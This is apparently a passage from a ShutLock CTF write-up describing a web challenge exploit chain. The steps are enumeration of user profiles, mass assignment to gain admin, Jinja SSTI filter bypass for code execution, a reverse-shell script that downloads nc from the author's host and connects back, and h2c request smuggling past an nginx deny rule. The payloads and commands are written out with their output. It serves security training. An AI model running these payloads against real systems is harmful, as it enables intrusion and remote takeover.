2014e96a-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1461, Words: 367, Lines: 42, Duration: 118ms]
2014eb18-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1467, Words: 367, Lines: 42, Duration: 113ms]
2014ec26-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1449, Words: 367, Lines: 42, Duration: 119ms]
2014edac-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1464, Words: 367, Lines: 42, Duration: 102ms]
2014eeba-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1452, Words: 367, Lines: 42, Duration: 114ms]
2014efc8-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1446, Words: 367, Lines: 42, Duration: 108ms]
2014f144-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1518, Words: 381, Lines: 44, Duration: 115ms]
2014f270-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1461, Words: 367, Lines: 42, Duration: 72ms]
2014f388-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1446, Words: 367, Lines: 42, Duration: 142ms]
2014f4a0-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1467, Words: 367, Lines: 42, Duration: 103ms]
2014f5cc-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1452, Words: 367, Lines: 42, Duration: 108ms]
2014f6da-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1464, Words: 367, Lines: 42, Duration: 122ms]
2014f7de-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1470, Words: 367, Lines: 42, Duration: 131ms]
2014f900-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1461, Words: 367, Lines: 42, Duration: 125ms]
2014fa0e-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1455, Words: 367, Lines: 42, Duration: 121ms]
2014fb12-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1446, Words: 367, Lines: 42, Duration: 133ms]
2014fc34-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1446, Words: 367, Lines: 42, Duration: 115ms]
Among all the requests, one stood out due to its larger size:
2014f144-56c5-11f0-a9c0-0242ac1049da [Status: 200, Size: 1518, Words: 381, Lines: 44, Duration: 115ms]
Looking at the associated profile, bingo it's the admin user:

I initially tried modifying his profile to reset the password, but it didn’t lead to anything useful. However, I noticed that the profile update endpoint was vulnerable to Mass Assignment. It was possible to escalate privileges by assigning the admin role directly via the following request:
POST /user/miseajour HTTP/1.1
Host: 57.128.112.118:12640
Content-Type: application/x-www-form-urlencoded
Cookie: session=.eJwlykEKgCAURdG9vLGGmhY1aivfr4KQFYWjaO8ZDe7o3BuxUF4x49h5aXUtCOSA2fQC9YrnRiX-Q4NaP4L1pIMfrXQDO6l1UpKIk1TGGmKt7BQIzwtdHxu6.aGRfbw.9AyPy4A72YHA4cZmrJRLZWgeRPU
username=poc&email=poc%40poc.poc&password=&is_super_mega_powerfull_admin=true
After that, viewing my profile showed that I now had the admin role:

As an admin, I could now post comments. While testing that functionality, I noticed the application was vulnerable to SSTI. The output of {{7*7}}
confirmed this:

The Server response header confirmed the backend stack:
Server: Werkzeug/3.1.3 Python/3.10.17
After testing basic payloads from PayloadsAllTheThings, I noticed that some filters were in place notably around []
and __builtins__
.
Still, this payload managed to achieve RCE:
{{ cycler.__init__.__globals__.os.popen('id').read() }}

To gain a reverse shell, I prepared the following script (cat.sh
) on my web server:
curl http://138.68.102.193:8888/nc -o /tmp/nc
chmod 777 /tmp/nc
/tmp/nc 138.68.102.193 8787 -e /bin/bash
Served via:
python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/)
Then triggered from the SSTI:
{{ cycler.__init__.__globals__.os.popen('curl http://<IP>:8888/ak.sh -o /tmp/ak.sh').read() }}
And finally:
{{ cycler.__init__.__globals__.os.popen('bash /tmp/ak.sh').read() }}
We successfully got a reverse shell:
rlwrap nc -nvlp 8787
Listening on 0.0.0.0 8787
Connection received on 57.128.112.118 48838
id
uid=0(root) gid=0(root) groups=0(root)
We found a backup file referencing an Nginx server with a /flag
route:
$ cat backup.txt
Backup of the nginx conf
curl https://nginx:8888 -k
----------
worker_processes 1;
events { worker_connections 1024; }
http {
server {
listen 8888 ssl;
http2 on;
server_name nginx localhost;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
ssl_certificate /etc/ssl/certs/selfsigned.crt;
ssl_certificate_key /etc/ssl/private/selfsigned.key;
location / {
proxy_pass http://127.0.0.1:80/;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
}
}
----------
Direct access to /flag
returned a 403:
curl -k https://nginx:8888/flag
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.27.5</center>
</body>
</html>
From the Nginx config, we noted two important points:
- The backend connection uses HTTP/1.1
- The Upgrade and Connection headers are directly forwarded to the backend
This means we can upgrade the connection to HTTP/2 and smuggle a request to bypass the /flag
restriction. To exploit this, we used h2csmuggler.
Install the dependencies:
$ pip3 install h2
Download the script:
$ curl https://raw.githubusercontent.com/BishopFox/h2csmuggler/refs/heads/master/h2csmuggler.py -o h2csmuggler.py
Run a quick test:
python3 h2csmuggler.py -x https://nginx:8888/ --test
/tmp/h2csmuggler.py:49: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
retSock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS)
[INFO] h2c stream established successfully.
[INFO] Success! https://nginx:8888/ can be used for tunneling
Initially, a request to /flag
failed due to an HPACKDecodingError
. However, a PR solved this.
After updating, we successfully accessed /flag
:
python3 h2csmuggler.py -x https://nginx:8888/ http://localhost:80/flag
[INFO] h2c stream established successfully.
:status: 200
content-type: text/plain; charset=utf-8
content-length: 11
date: Wed, 02 Jul 2025 08:47:13 GMT
Hello, / !
[INFO] Requesting - /flag
:status: 200
content-type: text/plain; charset=utf-8
content-length: 32
date: Wed, 02 Jul 2025 08:47:13 GMT
SHLK{0m6_y0u_4r3_1n_7h3_b4ck3nd}
Flag: SHLK{0m6_y0u_4r3_1n_7h3_b4ck3nd}
Conclusion
The challenges were overall very engaging, though I do regret that all of them were black-box. This limits the potential complexity and creativity in the exploitation chain. That said, there has been a significant improvement in quality between last year's web challenges and this edition. If next year introduces more white-box scenarios and complex bugs, it could be even more exciting. I’m already looking forward to participating next year ! Big kudos to the EPITA students and the DGSI for delivering such a fun edition of the ShutLock CTF!